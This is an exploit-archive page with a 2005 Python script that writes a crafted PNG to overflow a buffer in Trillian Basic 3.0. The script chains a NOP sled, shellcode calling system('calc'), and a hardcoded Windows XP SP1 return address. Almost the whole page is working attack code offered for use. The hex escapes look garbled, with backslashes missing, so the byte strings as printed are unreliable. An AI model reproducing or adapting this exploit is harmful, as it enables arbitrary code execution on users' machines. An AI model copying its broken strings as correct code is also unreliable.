Trillian Basic 3.0 PNG Image Processing Buffer Overflow Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Trillian Basic 3.0 PNG Image Processing Buffer Overflow Exploit
# Published : 2005-03-02
# Author : Tal Zeltzer
# Previous Title : Apache <= 2.0.52 HTTP GET request Denial of Service Exploit
# Next Title : Scrapland <= 1.0 Server Termination Denial of Service Exploit

##################################################################
#                                                                #
#               See-security Technologies ltd.                   #
#                                                                #
#                http://www.see-security.com                     #
#                                                                #
##################################################################
#                                                                #
#    Trillian 3.0 PNG Image Processing Buffer overflow Exploit   #
#                                                                #
#                                                                #
#            Discovered and coded by: Tal zeltzer                #
#                                                                #
##################################################################


import sys
import struct


# Addresses are compatible with Windows XP Service Pack 1
ReturnAddress = 0x77D7A145 # Address of "jmp esp" in ntdll.dll 
SystemAddress = 0x77C28044 # Address Of the system() function

# PNG Header
PngOfDeath  = "x89x50x4Ex47x0Dx0Ax1Ax0Ax00x00x00x0Dx49x48x44x52"
PngOfDeath += "x00x00x00x40x00x00x00x40x08x03x00x00x00x9DxB7x81"
PngOfDeath += "xECx00x00x01xB9x74x52x4Ex53"

# Nops
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90"

# system(calc) shellcode
PngOfDeath += "x33xC0x50x68x63x61x6cx63x54x5bx50x53xb9"
PngOfDeath += struct.pack("<L",SystemAddress)
PngOfDeath += "xFFxD1"

# Junk Data
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
PngOfDeath += "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

# Return Address
PngOfDeath += struct.pack("<L",ReturnAddress)

# Jump Back Shellcode
PngOfDeath += "x54x59xFExCDx89xE5xFFxE1"

# End Of File
PngOfDeath += "x90x90x90x59xE8x47xFExFFxFF"

fileOut = open("Trillian.png","wb")
fileOut.write(PngOfDeath)
fileOut.close()

# www.Syue.com [2005-03-02]